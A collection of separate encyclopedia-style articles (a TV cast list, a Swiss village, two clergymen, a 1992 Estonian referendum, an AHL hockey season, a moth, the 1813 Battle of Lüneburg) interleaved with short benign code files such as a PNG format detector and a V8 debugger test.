Raghav Saxena (After Plastic Surgery) (Episode 166)
Uday Tikekar as Inspector Ajay Chatterjee: Inspector Bharat's father (Episode 1)
Manoj Joshi as Kumar Mohanty (Episode 2)
Makrand Deshpande as Jagan Mohanty (Episode 2)
Nasir Sheikh as Manish (Episode 2)
Nupur Alankar Joshi as
Rehana Kumar Mohanty (Episode 2)
Smita Wadkar (Episode 28)
Shreechand Makhija as
Mr. Ajmera (Episode 2)
Judge (Episode 14)
Sharad Vyas as
Mr. Desai (Episode 2)
Chuttan (Episode 4)
Arun Bali as
Hariram "Hariya" (Episode 3)
Mr. Rao "Khan Mohammad" (Episode 22)
Arvind Ahuja (Episode 29)
Mahesh Sarang (Episode 42)
Amita Khopkar as Bindu (Episode 3)
Shailendra Srivastav as Shankar Jadhav (Episode 3)
Ravindra Berde as Manohar Jadhav (Episode 3)
Brijgopal as
Rajan Chaudhary (Episode 3)
Pappu Hitler (Episode 18)
Hari Chhabria (Episode 26)
Mulraj Rajda as Girdharilal (Episode 3)
Kuldeep Sharma as
Raghav (Episode 3)
Advocate (Episode 14)
Mr. Damle (Episode 19)
Harish (Episode 28)
Jagatnarayan (Episode 167)
Savita Prabhune as Shreekant's Mother (Episode 4)
Kuldeep Mallik as
Shreekant (Episode 4)
Rahul (Episode 20)
Rajat Roy (Episode 30)
Jeevan Malhotra (Episode 38(
Sameer Kothari (Episode 169)
Reena Kapoor as
Sunanda (Episode 4)
Roopa Kapadia (Episode 156)
Hemant Choudhary as Ramakant's Son (Episode 4)
Mahaveer Shah as Ramakant (Episode 4)
Rajdev Jamdade as Sub Inspector Dhardhar (Episode 4)
Imran Khan as
Imran Khan (Episode 5)
Rakesh Dev (Episode 21)
Keshav (Episode 39)
Raza Murad as
Retired Major Hamidullah Khan (Episode 5)
Pratap Rai (Episode 167)
Impostor Pratap Rai (Episode 167)
Ragesh Asthana as
Salim (Episode 5)
P. K. Saxena (Episode 40)
Jeetendra Trehan as
Captain Shaheed Khan (Episode 5)
Jayant (Episode 21)
Anita Hassanandani as
Razia Khan (Episode 5)
Natasha Choudhary (Episode 33)
Deepshikha Nagpal as
Inspector Sneha Verma (Episode 6)
Tanya Rai (Episode 160)
Champa (Episode 160)
Inspector Kiran Mehra (Episode 160)
Impostor Tanya Rai (After Plastic Surgery) (Episode 160)
Rishabh Shukla as
Shreekant (Episode 6)
Dr. Amarkant Ahuja (Episode 20)
Chandan Sinha (Episode 41)
Rajat Verma (Episode 149)
Akash (After Plastic Surgery) (Episode 149)
Sharmilee Raj as
Sandhya (Episode 6)
Anil Dhawan as
Vishal Grover (Episode 7)
Kamalkant Sahay (Episode 31)
Navni Parihar as Kamini Vishal Grover (Episode 7)
Dinesh Kaushik as
Mr. Kriplani (Episode 7)
Rohit Patwardhan (Episode 28)
Rajlakshmi Solanki as Ritu Khanna (Episode 7)
Akhil Ghai as Anand Kumar (Episode 7)
Suhas Khandke as
Mr. Nayyar (Episode 7)
Dr. Prakashchandra Patwardhan (Episode 11)
Mr. Kabra (Episode 153)
Afshan Khan as
Disha (Episode 8)
Payal Jeevan Malhotra (Episode 38)
Anjana Mumtaz as Ranjeet's Mother (Episode 8)
Pradeep Kabra as
Salim (Episode 8)
Hari Chhabria's Bodyguard (Episode 26)
Ibrahim Qazi (Episode 33)
Iqbal Qureshi (Episode 37)
Avinash Kharshikar as Pradeep Patwardhan (Episode 8)
Sudheer Mittoo as
Ranjeet (Episode 8)
Shaukat Khan (Episode 28)
Zuber Khan (Episode 156)
Shikha Swaroop as
Seema (Episode 8)
Ashalata Rahul Jaiswal (Episode 16)
Vijay Aidasani as
Aashish Khurana (Episode 9)
Kewal Sinha (Episode 35)
Shekhar Sinha (Episode 35)
Advocate Akash Sadana (Episode 163)
Sudha Chandran as Sapna Aashish Khurana (Episode 9)
Javed Khan as
Sanjeev (Episode 9)
Rajeshwar (Episode 21)
Mahesh Kumar (Episode 38)
Abhijeet Roy (Episode 153)
Pramatesh Mehta as Dentist (Episode 9)
Amita Nangia as Prameela Neelesh Dave (Episode 9)
Surendrapal Singh as
Dr. R. K. Verma (Episode 9)
Ajeet Kumar (Episode 24)
Meenakshi Verma as Vasanti Chauhan (Episode 10)
Siddharth Randeria as Manohar Shinde (Episode 10)
Jeet Upendra as
Rajan Shinde (Episode 10)
Aashish (Episode 159)
Vijayendra Ghatge as Dr. Sudheer Malik (Episode 11)
Kiran Juneja as
Nisha Sudheer Malik (Episode 11)
Renu (Episode 155)
Utkarsha Naik as Dr. Basu (Episode 11)
Raju Kher as Rajeev Lal (Episode 12)
Dilip Thadeshwar as Rahul Lal (Episode 12)
Jaya Bhattacharya as Shweta Narang (Episode 12)
Goga Kapoor as G. D. Narang (Episode 12)
Murli Sharma as Inspector Vicky Tiwari (Episode 12)
Mac Mohan as Raghav (Episode 12)
Santosh Shukla as
Shreekant (Episode 13)
Vijayendra Saxena (Episode 21)
Bunty (Episode 39)
Kamalakant Dwiveja (Episode 164)
Rahul (Episode 174)
Suraj Thapar as Anand (Episode 13)
Prashant Bhatt as Vishal Saxena (Episode 13)
Sudhir as
Ranjeet Saxena (Episode 13)
Hasmukh Bajaj (Episode 27)
Tasneem Sheikh as Ritu Chaudhary (Episode 14)
Sumeet Saigal as Inspector Vikram (Episode 14)
Achyut Potdar as Police Commissioner (Episode 14)
Navin Nischol as Judge Chaudhary (Episode 14)
Sujata Thakkar as
Nisha Chaudhary (Episode 14)
Deepa Vikram Nadkar (Episode 24)
Rachana Abhijeet Roy (Episode 153)
Shalini Pratap Rai (Episode 167)
Suneel Nagar as
Rahul Jaiswal (Episode 16)
Dr. Alok Srivastav (Episode 35)
Jagat Ahuja (Episode 154)
Nayan Bhatt as Savitri (Episode 16)
Jaywant Wadkar as Bheema (Episode 16)
Tinnu Anand as Terrorist Leader (Episode 17)
Rammohan Sharma as
D.G.P. (Episode 17)
Police Commissioner (Episode 37)
Naushad Abbas as
Terrorist (Episode 17)
Pappu Hitler's Goon (Episode 18)
Yogendra (Episode 29)
Ramesh Goel as Jagdev (Episode 17)
Deepak Parashar as Dr. Kundan Mehra (Episode 18)
Pramod Moutho as Brigadier S. K. Thakur (Episode 19)
Neha Joshi as Nikita Chopra (Episode 20)
R. S. Chopra as R. K. Chopra (Episode 20)
Bob Christo as Smuggling Gang Leader (Episode 21)
Brownie Parashar as
Raghuveer (Episode 21)
Rana (Episode 161)
Beena Banerjee as Mrs. Dev "Rani Sahiba" (Episode 21)
Kishwar Merchant as
Mandira (Episode 21)
Shaina Bhatnagar (Episode 157)
Pradeep Shukla as
Cultural Minister (Episode 21)
Mr. Bhatia (Episode 42)
Kamal Adib as
Professor Aditya Burman (Episode 21)
Mr. Batra (Episode 171)
Tony Mirchandani as
Ravikant Nair (Episode 22)
Ranjeet Rana (Episode 36)
Adarsh Gautam as
Raj Malhotra (Episode 23)
Dinesh Prabhakar (Episode 34)
Dr. Deepak Batra (Episode 165)
Usha Bachani as Bobby (Episode 23)
Barkha Madan as
Ruby Ajeet Kumar (Episode 24)
Rehana (Episode 36)
Malati Mahesh Sarang (Episode 42)
Raymon Singh as Sania (Episode 24)
Dharmesh Vyas as
Vikram Nadkar (Episode 24)
Dushyant (Episode 153)
Girija Shankar as Keshav Katre "K. K." (Episode 25)
Vaishnavi Mahant as Sanjana (Episode 27)
Dinesh Hingoo as Mr. Roopani (Episode 27)
Rajeev Verma as Judge Jugalkishore Mehta (Episode 28)
Ali Khan as Ranjeet (Episode 29)
Lalit Parimoo as
Shivam Karmarkar (Episode 29)
Rajat Mishra (Episode 173)
Maleeka Ghai as Aarati Gupta (Episode 30)
Sheeba Agarwal as
Neelam Kamalkant Sahay (Episode 31)
Christina Columbus (Episode 40)
Lata Haya as Dolly Peter (Episode 31)
B. Shantanu as Dharam Malhotra (Episode 31)
Subbiraj Kakkar as
Narendra Kapoor (Episode 32)
Retired Judge Somraj Dikshit (Episode 163)
Rio Kapadia as Jasvendra Kapoor (Episode 32)
Seema Kapoor as Inspector Shailaja Swami (Episode 32)
Ajeet Mehra as
Shyam Hemchandani (Episode 32)
Manmohan Ahuja (Episode 154)
Rohini Hattangadi as Judge Sangeeta Shashank Choudhary (Episode 33)
Vineet Kumar as Shreedhar Choudhary
Jaya Mathur as
Sanjana Alok Srivastav (Episode 35)
Mohini (Episode 162)
Shashi Sharma as Rani Kewal Sinha (Episode 35)
Nawab Shah as Raj Premi (Episode 35)
Kamal Malik as Anand (Episode 36)
Rajesh Puri as
Heerachand (Episode 36)
Champaklal Johri (Episode 157)
Firdaus Mevawala as Inspector (Episode 36)
Suresh Bhagwat as Krishnakant (Episode 37)
Jayshree T. as Lalita (Episode 38)
Shivani Gosain as Simi (Episode 39)
Shraddha Sharma as
Suman (Episode 40)
Priya (Episode 163)
Divya Sameer Kothari (Episode 169)
Suraj Chaddha as Rajeev Ramniklal (Episode 41)
Vaishnavi Mahant as Rama Rajeev Ramniklal (Episode 41)
Zaheed Ali as Gaurav "Guru" (Episode 162)
Vinod Kapoor as Mohanlal (Episode 160)
Amit Behl as Karan Kohli (Episode 158)
Neelam Singh as
Rashmi Rai (Episode 167)
Riya Batra (Episode 171)
Lalit Tiwari as Prakash Lalwani (Episode 168)
Swati Verma as Shreya Ghosh (Episode 159)
Kaushal Kapoor as Sub Inspector Chauhan (Episode 155)
Rajtilak as Judge Rajgopal (Episode 159)
Gajendra Chauhan as Inspector Thakur (Episode 155)
Lalitesh Jha as
Niranjan Ahuja (Episode 154)
Advocate Jagat Gulati (Episode 158)
Amit Divetia as Dheeru (Episode 156)
Sanjeev Siddharth as Chhota Qasim (Episode 156)
Aarati Nagpal as Shalini (Episode 174)
Shiva Rindani as Diwakar (Episode 172)
Mona Parekh as
Urmila Niranjan Ahuja (Episode 154)
Kamala Rajat Mishra (Episode 173)
Rajendra Chawla as
Mr. Mehra (Episode 158)
Kamalakant Mishra (Episode 168)
Chetanya Adib as Akash (Episode 149)
Alauddin Khan as Usman (Episode 156)
Parul Yadav as Kanta (Episode 154)
Deepak Bhatia as Raghav (Episode 154)
Gufi Paintal as
R. K. Dhanraj (Episode 153)
Dr. K. K. Ahuja (Episode 157)
Govardhan Lal (Episode 161)
Retired Judge Raichand (Episode 170)
Mithilesh Chaturvedi as Mr. Ahuja (Episode 164)
Anil Nagrath as Mr. Narayan (Episode 164)
Nagesh Bhonsle as Kali Singh (Episode 151)
Vaidehi Amrute as Ketki Rajat Verma (Episode 149)
Rahul Sood as Meghraj Gupta (Episode 164)
Manav Sohal as
Guddu Dhanraj (Episode 153)
Prem (Episode 160)
Advocate Krishnakant Bhatia (Episode 166)
Ranjeet Ahuja (Episode 172)
Shashi Puri as Dharmesh Bajaj (Episode 162)
Bhumika Seth as Devika Thakral (Episode 153)
Ashok Banthia as Mr. Thakral (Episode 153)
Raja Kapse as Rajdev (Episode 153)
Suneel Sinha as Rajat Verma (Episode 155)
Pankaj Dheer as Rajeev Ranjan (Episode 156)
Ravi Gossain as Rakesh Kumar "Rocky" (Episode 159)
Sumeet Kaul as Harish Lal (Episode 161)
Sanjay Swaraj as
Manoj Kumar Singh (Episode 165)
Bhavesh Raichand (Episode 170)
Govind Khatri as
Mukesh (Episode 166)
Suneel Banerjee (Episode 173)
Manish Garg as
Sanjeev Rai (Episode 167)
Jagat (Episode 171)
Bakul Bhatt as
Assistant Sub Inspector Diwakar (Episode 168)
Balveer (Episode 170)
Suneel Mattoo as Alok Verma (Episode 169)
Raju Shrestha as Aniruddh Kumar (Episode 170)
Manish Sharma as Raj (Episode 171)
Vijay Bhatia as Vikas "Vicky" (Episode 171)
Rupali Ganguly as Shweta (Episode 172)
Ranjeev Verma as Mr. Kohli (Episode 173)
Naveen Bawa as Rakesh (Episode 174)
References
External links
DD National original programming
Indian crime television series
Indian television series
Detective television series
Hindi-language television shows
1999 Indian television series debuts
2002 Indian television series endings
|
Sirviö is a Finnish surname. Notable people with the surname include:
Arto Sirviö (born 1962), Finnish professional ice hockey player
Sami Sirviö (born 1970), Finnish-born lead guitarist of the Swedish rock band Kent
Riikka Sirviö (born 1974), Finnish cross-country skier
Finnish-language surnames
|
```smalltalk
using System.Buffers.Binary;
using System.Diagnostics.CodeAnalysis;
namespace SixLabors.ImageSharp.Formats.Png;
/// <summary>
/// Detects png file headers
/// </summary>
public sealed class PngImageFormatDetector : IImageFormatDetector
{
/// <inheritdoc/>
public int HeaderSize => 8;
/// <inheritdoc/>
public bool TryDetectFormat(ReadOnlySpan<byte> header, [NotNullWhen(true)] out IImageFormat? format)
{
format = this.IsSupportedFileFormat(header) ? PngFormat.Instance : null;
return format != null;
}
private bool IsSupportedFileFormat(ReadOnlySpan<byte> header)
{
return header.Length >= this.HeaderSize && BinaryPrimitives.ReadUInt64BigEndian(header) == PngConstants.HeaderValue;
}
}
```
|
Braunwald is a car-free resort village in the municipality of Glarus Süd and canton of Glarus in Switzerland.
History
Braunwald is first mentioned in 1421 as Brunwald. There is evidence of summer occupation between the 12th and 15th centuries and, by 1725, a few families were living there year-round. A school was first held in 1841, and moved into its own building in 1857. The Niederschlacht Inn, built in 1856, became a famous hotel.
The opening of the Braunwald funicular in 1907 was followed by the opening of further hotels, including the Grand Hotel Bellevue (now the Märchenhotel Bellevue), the Alpina Hotel (now the Adrenalin Backpackers Hostel) and the Alpenblick Hotel (which was destroyed by fire in 2009). In the second half of the 20th century, several chair lifts and gondola lifts opened to provide access to the ski slopes above the village.
Until 1939, the village of Braunwald formed part of the municipality of Rüti, but, in that year Braunwald split off to form its own municipality. On 1 January 2011, both municipalities were reunited as part of the new municipality of Glarus Süd.
Geography
Braunwald is situated in the Glarus Alps on a terrace above the Linth valley, at an elevation of . It overlooks the villages of Linthal and Rüti in the valley below. It is overlooked by the mountains of Ortstock (), Höch Turm (), Eggstock () and Bös Fulen ().
Braunwald has an area, as defined by the former municipal boundaries in 2006, of . Of this area, 43.7% is used for agricultural purposes, while 28.5% is forested. Of the rest of the land, 3.2% is settled (buildings or roads) and the remainder (24.6%) is non-productive (rivers, glaciers or mountains).
Transport
Braunwald is a car-free resort village, and access to the village is via the Braunwald funicular from the village of Linthal in the valley below. The funicular links Braunwald with Linthal Braunwaldbahn station, where over 750 parking spaces are available. The station provides a convenient interchange with the main line railway, and is served by the hourly Zürich S-Bahn service S25 from Zurich.
Taxi services for transport within the village are available from Schuler Transporte and Schumi-trans. Gondola lifts and chair lifts link the village to Grotzenbüel, Kleiner Gumen, Seblengrat and Bächital, principally for winter sport activities but in some cases operating in summer as well.
Demographics
Braunwald has a population, as of and as defined by the former municipal boundaries, of . , 13.0% of the population was made up of foreign nationals. Over the last 10 years the population has decreased at a rate of -25.4%. Most of the population () speaks German (93.6%), with Serbo-Croatian being second most common ( 3.2%) and Dutch being third ( 1.2%).
In the 2007 federal election the most popular party was the SPS which received 57.9% of the vote. Most of the rest of the votes went to the SVP with 38.2% of the vote.
The entire Swiss population is generally well educated. In Braunwald about 70.6% of the population (between age 25–64) have completed either non-mandatory upper secondary education or additional higher education (either University or a Fachhochschule).
Braunwald has an unemployment rate of 1.2%. , there were 40 people employed in the primary economic sector and about 15 businesses involved in this sector. 20 people are employed in the secondary sector and there are 7 businesses in this sector. 215 people are employed in the tertiary sector, with 28 businesses in this sector.
The historical population is given in the following table:
Weather
Braunwald has an average of 161.3 days of rain per year and on average receives of precipitation. The wettest month is August during which time Braunwald receives an average of of precipitation. During this month there is precipitation for an average of 15.4 days. The month with the most days of precipitation is July, with an average of 16, but with only of precipitation. The driest month of the year is October with an average of of precipitation over 15.4 days.
Braunwald is the municipality with the highest annual snowfall in Switzerland.
References
External links
Braunwald from Glarus Süd municipal web site (in German)
Braunwald from Braunwald tourist web site
Car-free villages in Switzerland
Former municipalities of the canton of Glarus
Ski areas and resorts in Switzerland
Villages in the canton of Glarus
|
```php
<?php
/**
* This file is part of the Carbon package.
*
* (c) Brian Nesbitt <brian@nesbot.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
/*
* Authors:
* - Dieter Sting
* - Franois B
* - Gaspard Bucher
* - Maxime VALY
* - JD Isaacks
*/
return array_replace_recursive(require __DIR__.'/fr.php', [
'formats' => [
'L' => 'DD.MM.YYYY',
],
]);
```
|
Georgije Hransislav (secular Gavrilo Hranislav; 8 November 1775 - 22 June 1843) was the bishop of the Serbian Orthodox Church.
Biography
Bishop Georgije was born as Gavrilo Hranislav in Ruma on 8 November 1775, to father Pavle and mother Alka. He studied basic sciences with local teachers in Ruma. In the period 1787–1791, he attended a Slav-Serbian school. He studied high school in Karlovac and Novi Sad, and then was at the academy in Varaždin, listening to philosophy. In the end, he attended postgraduate classes in law and philosophy in Pest and Vienna.
Monastic life
From 1804, Gavrilo Hranislav was a professor at the grammar school in Karlovac until 1812, when Metropolitan Stefan Stratimirović promoted him to the rank of deacon on 6 October, and then protodeacon on 31 January 1813 and archdeacon on 21 November 1814. He became a close associate of the Metropolitan Stefan.
Gavrilo Hranislav accepted monasticism on 11 January 1816 in the monastery of Krušedol by the archimandrite of the monastery Dimitrije (Krestić), who gave him the name Georgije. He was ordained a presbyter on 2 June 1818, and on 21 November he was made protosingel by Metropolitan Stefan.
He was elevated to the rank of Archimandrite of Rakovac by the Bishop of Pakrac, Josif Putnik, on 28 November 1821. Until 1827, he was a professor of theology in Karlovac. At the same time, he was an assistant to the metropolitan and a member of many bodies and commissions. During this time, he paid special attention to the Rakovec Monastery, which was then completely renovated.
Episcopal vocation
On 24 January 1829, Archimandrite Georgije was consecrated Bishop of Pakrac, since the former Bishop Josef (Putnik) moved to the Timisoara Cathedral. Bishop Georgije remained there for a decade.
In 1839, Bishop Georgije was transferred to the Diocese of Bačka on 26 May. With the death of Metropolitan Stefan Stanković, he administered the Metropolitanate of Karlovci in the period from 31 July 1841 until the election of the new Metropolitan in 1842.
Bishop Georgije was a very educated man of his time and had a penchant for literature, translating, writing and collecting books. His contemporaries were men of letters such as Sava Mrkalj, Jovan Muškatirović, Sava Tekelija, Lukijan Mušicki, Pavle Solarić, and Jovan Savić.
In addition, he helped the poor and educated young people. He translated a German cookbook into Serbian in 1804.
Georgije Hranislav died on 22 June 1843. He was buried in the Cathedral of the Serbian Orthodox Church of Novi Sad
References
People from Ruma
1775 births
1843 deaths
Bishops of Bačka
|
Horace Newton (1844–1920) was a priest within the Church of England, philanthropist, and country landowner.
Life
He lived at the country house of Holmwood, Redditch, Worcestershire, which he had built for him in 1892–3 by Temple Lushington Moore (the architect was his nephew by marriage). He bought the land from the Earl of Plymouth.
A deeply religious man, he inherited upon the death of his father William Newton II of Barrells Hall and Whateley Hall (both in Warwickshire), with his brothers T.H. Goodwin Newton and Rev. William Newton III, what was described at the time as "an absurdly large fortune". The family owned large amounts of prime Birmingham land (such as part of New Street, including the site of the current Birmingham New Street station) plus Welsh slate quarries and Bryn Bras Castle, Gwynedd. Ethel Street and Newton Street in Birmingham are named after the family.
The family had a strong Christian upbringing, and despite their vast wealth devoted their life to helping others, giving away large sums of money, building churches (notably in Ullenhall, the estate village of Barrells Hall) and donating to hospitals and various charities. He also built the impressive Beechwood Vicarage near Driffield, Yorkshire, when he was vicar there.
They firmly believed that "with wealth and property come responsibility" and were generous and kind employers at all of their estates.
For relaxation the family spent three months every summer at their Scottish holiday home, the 26,000 acre Glencripesdale Estate, in the 50-room (28 bedroom) Glencripesdale Castle he designed with Goodwin Newton.
Religious work
Having been educated at St John's College, Cambridge, where he was a Foundation Scholar, and graduating with Mathematical Honours in 1864, he turned to the Church for his career and life's work.
He was ordained Deacon in 1865, and Priest in 1866, by Bishop Jackson of Lincoln, and was curate of St Mary's in Nottingham.
In 1869 he was appointed first vicar of Heworth, near York, and in 1878 he was appointed by Archbishop Thomson to the vicarage of Great-With-Little-Driffield.
He became a canon of York Minster in 1885, having been presented to the Archbishop of York for a canonry, based on his services as Vicar of Driffield. While incumbent there he was noted for his generosity and kindness, giving away many millions of pounds including circa £500,000 (in 2009 money) for the rebuilding of Driffield Church from his own wealth. He employed many church people, having three curates and two scripture readers in his personal employ.
He was vicar of Redditch 1892–1905, and thereafter lived at Holmwood, Redditch (which he had built for him by the architect Temple Lushington Moore, who was also a relative), having been offered the post by Lord Windsor.
Legacy
In the 1970s, when the Kingfisher Shopping Centre was opened in Redditch an office block was named after him within the centre: Canon Newton House. Part of the centre, known as Milward Square, is also named after the family of one of his daughters, Elsie, who married Harry Milward of Milward's Needles.
Family
Canon Newton married twice:
Firstly to Frances (Fanny) Storrs in 1866, the younger daughter of Dr Robert Storrs of Doncaster, the first Doctor to note the connection with cleanliness and infection during child birth, years before the more famous Ignaz Semmelweis.
Secondly he married in 1905 Katharine Constance Macrell (died 1921) following the death of Fanny Storrs.
Canon Newton and his first wife, Fanny Storrs, had seven children:
Ethel – married Bishop Edmund Arbuthnott Knox, the evangelical Bishop of Manchester and prayerbook reformer
Madeleine
Elsie – married Harry Milward, one of the heirs to the Milward's Needles dynasty
Margaret
Dorathea
Marjorie
Horace – died in 1917, having drowned in the Tigris, Basra, Iraq (then called Mesopotamia) with the 13th Hussars. He was buried in Ezra's Tomb.
References
19th-century English Anglican priests
English philanthropists
1844 births
1920 deaths
|
```javascript
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --noalways-opt
Debug = debug.Debug
var debug_step = 0;
var failure = null;
function listener(event, exec_state, event_data, data) {
if (event != Debug.DebugEvent.Break) return;
try {
if (debug_step == 0) {
assertEquals(1, exec_state.frame(0).evaluate('a').value());
assertEquals(3, exec_state.frame(0).evaluate('b').value());
exec_state.frame(0).evaluate("a = 4").value();
debug_step++;
} else {
assertEquals(4, exec_state.frame(0).evaluate('a').value());
assertEquals(3, exec_state.frame(0).evaluate('b').value());
exec_state.frame(0).evaluate("set_a_to_5()");
exec_state.frame(0).evaluate("b = 5").value();
}
} catch (e) {
failure = e;
}
}
Debug.setListener(listener);
function* generator(a, b) {
function set_a_to_5() { a = 5 }
// Make sure set_a_to_5 is 'used' so that it is visible to the debugger.
set_a_to_5;
var b = 3; // Shadows a parameter.
debugger;
yield a;
yield b;
debugger;
yield a;
return b;
}
var foo = generator(1, 2);
assertEquals(4, foo.next().value);
assertEquals(3, foo.next().value);
assertEquals(5, foo.next().value);
assertEquals(5, foo.next().value);
assertNull(failure);
Debug.setListener(null);
```
|
Austin Taylor may refer to:
Austin Taylor (British politician) (1858–1955), British Conservative Party politician, MP for Liverpool East Toxteth 1902–1910
Austin Claude Taylor (1893–1964), Canadian farmer and politician
Austin Cotterell Taylor Canadian industrialist
Ted Taylor (musician), soul musician born Austin Taylor
Austin Taylor (10 pin Bowler), Best under 22s 10 pin bowler in the United Kingdom
|
A referendum on a new constitution and citizenship was held in Estonia on 28 June 1992. Voters were asked whether they approved of the new constitution drawn up by the Constitutional Assembly and extending suffrage to people who had applied for citizenship by 5 June. The new constitution was approved by 92% of voters, whilst the suffrage extension was rejected by 53%. Voter turnout was 67%.
Results
New constitution
Suffrage extension
References
Referendums in Estonia
Estonia
Referendum
Constitutional referendums in Estonia
|
Westmead may refer to:
Westmead, New South Wales, a suburb of Sydney
Westmead Hospital, a major hospital in Sydney
Westmead railway station, a railway station serving the suburb
USS Westmead (ID-3550), also spelled , a United States Navy cargo ship in commission from 1918 to 1919
See also
West Mead (disambiguation)
|
```xml
/*
*
* This source code is licensed under the MIT license which is detailed in the LICENSE.txt file.
*/
const TRIM_REGEX = />\s*</gm;
/**
* Trim whitespace from between tags in a HTML template string.
* @param inputString the template string to trim
* @return The newly trimed string.
*/
export function trimBetweenTags(inputString: string): string {
return inputString.replace(TRIM_REGEX, "><");
}
```
|
The 1965–66 AHL season was the 30th season of the American Hockey League. Nine teams played 72 games each in the schedule. The league played a limited interlocking schedule with the Western Hockey League which was repeated two seasons later. The Quebec Aces finished first overall in the regular season. The Rochester Americans won their second consecutive Calder Cup championship.
Final standings
Note: GP = Games played; W = Wins; L = Losses; T = Ties; GF = Goals for; GA = Goals against; Pts = Points;
Scoring leaders
Note: GP = Games played; G = Goals; A = Assists; Pts = Points; PIM = Penalty minutes
complete list
Calder Cup playoffs
First round
Rochester Americans defeated Quebec Aces 4 games to 2.
Springfield Indians defeated Hershey Bears 3 games to 0.
Cleveland Barons defeated Pittsburgh Hornets 3 games to 0.
Second round
Rochester Americans earned second round bye.
Cleveland Barons defeated Springfield Indians 3 games to 0.
Finals
Rochester Americans defeated Cleveland Barons 4 games to 2, to win the Calder Cup.
list of scores
Trophy and award winners
Team awards
Individual awards
Other awards
See also
List of AHL seasons
References
AHL official site
AHL Hall of Fame
HockeyDB
American Hockey League seasons
2
2
|
Ozarba catilina is a moth in the family Noctuidae (owlet moths) described by Herbert Druce in 1889. It is found in North America.
The MONA or Hodges number for Ozarba catilina is 9032.
References
Further reading
Lafontaine, J. Donald, & Schmidt, B. Christian (2010). "Annotated check list of the Noctuoidea (Insecta, Lepidoptera) of North America north of Mexico". ZooKeys, vol. 40, 1-239.
External links
Butterflies and Moths of North America
Noctuidae
|
In the Battle of Lüneburg on 2 April 1813, Allied Russians and Prussians were victorious over a French and Saxon division. The battle was the first major combat action after the retreat of the defeated French in Russia behind the Elbe. Its importance lay in the moral effect on the German public as the first success of the Allies in the wars of liberation that were now beginning.
Background
After Napoleon's defeat in the Russian campaign of 1812, a vehemently anti-French mood had spread in northern Germany, starting in East Prussia in January 1813. It turned into open rebellion when, in mid-February, Prussia made a clear turn against France and Russian cavalry units swarmed across the Oder. At the end of February, this also included the Hanseatic departments annexed by France in 1810.
Severe riots broke out in Hamburg on 24 February. After the summary execution of seven arbitrarily arrested people on 2 and 3 March increased the unrest, the French evacuated the city on 12 March and the rebellion spread to Lübeck and Stade.
On 14 March, the Russian cavalry leader Friedrich Karl von Tettenborn appeared at the head of 1,300 Cossacks with two guns in Ludwigslust and persuaded Mecklenburg to switch sides from the Confederation of the Rhine to the Allies. He then pushed the French forces withdrawn from Stralsund under General Joseph Morand across the Elbe. On 18 March, Tettenborn moved into Hamburg. At the same time, Russian cavalry troops roamed through Harburg, Stade and Lüneburg, celebrated by the residents. Lübeck and Lauenburg re-established the constitutional relationships that had been abolished by France, and the representatives of the estates of the former duchies of Bremen and Verden met to decide to arm the people. In this situation, on 21 March, the citizens of Lüneburg, a town of 10,000 people drove the French officials out of their city and began to raise volunteer troops.
On Napoleon's orders, General Dominique Vandamme concentrated 25,000 men on the lower Weser, at the same time restoring order in the Hanseatic departments. He arrived in Bremen on 27 March and ordered Morand to go to Tostedt to fight insurgents and Cossacks. These had to withdraw to Hamburg. Now Morand received the order to carry out a punitive expedition against Lüneburg. There, armed citizens and Alexander von Benckendorff's Cossacks had prevented an occupation of the city by General Wathier's flying column on 28 March.
The further away Morand's 34th Division was from Bremen, the more he was surrounded and attacked by the Cossacks of Benckendorff's Russian corps. Due to his experience in organizing uprisings and in leading the Little War, Wilhelm von Dörnberg, who had been appointed Russian general, had previously been given the task of triggering a general uprising in the Hanover area, but his crossing of the Elbe near Werben on 26 March failed. When it became apparent that Lüneburg was Morand's marching goal, the supreme commander of the right wing of the Russo-Prussian armies, General Peter Wittgenstein, sent Dörnberg's corps across the Elbe near Lenzen on 31 March in support of the rebellious city. Dörnberg quickly approached his objective from the south-east, diverting troops to Boizenburg to set up a line of retreat.
Opposing forces
Morand's 34th Division numbered about 2,800 men with nine guns, including a hastily assembled cavalry force of 75 consisting of dragoons, chasseurs, mounted douaniers and gendarmes. The core of his division were two battalions (of three) of the Saxon infantry regiment "Prinz Maximilian" and a Saxon battery.
Dörnberg had an infantry battalion and a half battery with four guns from the Prussian Borstell brigade and his Russian troops were a Jäger battalion, four squadrons of hussars and two dragoons and the Benckendorff corps with three Cossack and one Bashkir platoon and two guns, a total of 1,100 infantry and about 1,300 horsemen, implied. Before the attack on Lüneburg, the Russian patrol force of Alexander Chernyshyov, which consisted of 1,800 horsemen with four guns, joined with him.
Battle
On 1 April, Morand attacked Lüneburg from the west. The disorganized resistance of armed citizens at the medieval city gates was quickly broken, many were arrested and in the evening Morand appointed fifty of them to be shot the next day. On the same day, the Dörnberg corps had reached Lüchow and that under Benckendorff had reached Dannenberg. Both made an appointment with Chernyshyov, whose cavalry had crossed the Elbe near Bählau on 31 March and were in Wustrow, to conquer Lüneburg on 2 April.
When Cossacks showed up at the southern city gate at 6 am, Morand thought he was dealing with patrols as before. He sent two guns with an infantry cover and his 75 horsemen in front of the city to drive off the enemy. His troops ran into one of Dörnberg's traps: surprised, they saw themselves exposed to a massive flank attack by Russian hussars, lost their guns and were taken prisoner except for part of the cavalry. Only in the late morning did Morand realize that a regular Russian-Prussian infantry and artillery force was attacking Lüneburg with the aim of conquering it. Meanwhile, a city gate was in the hands of Prussian fusiliers under Major Karl von Borcke. While fighting broke out at other city gates, armed citizens freed those sentenced to be shot and attacked enemy soldiers in the streets. Morand, already wounded, lost track and ordered a retreat from the city at noon to a French force stationed west of the New Gate. His order could no longer be obeyed by any of his detachments, because some were locked in various gates and buildings by the Prussian and Russian troops pushing into the city and were already beginning to capitulate. Morand now attempted a recapture from the outside. The attack, in which he was badly wounded this time, failed after initial successes. Here it came to the now famous act of the Lüneburg bourgeois daughter Johanna Stegen. She supplied Prussian fusiliers with urgently needed ammunition, which she had salvaged from an abandoned ammunition wagon on the battlefield at the risk of her life. In the afternoon Russian horsemen had surrounded Morand's troops. An honorable surrender accepted by Dörnberg could not be enforced by the Saxon officers because of the French's refusal to cease fire. After a failed attempt to break through to retreat to Reppenstedt, the Russian-Prussian artillery, reinforced with captured cannons, began to shoot up the surrounded troops. Around 5 pm, Morand's entire force surrendered and was taken prisoner. The French-Saxon division was destroyed with the loss of 2,300 prisoners, 9 guns and 3 flags, against an Allied loss of 300 killed and wounded, including 46 Prussians.
Aftermath
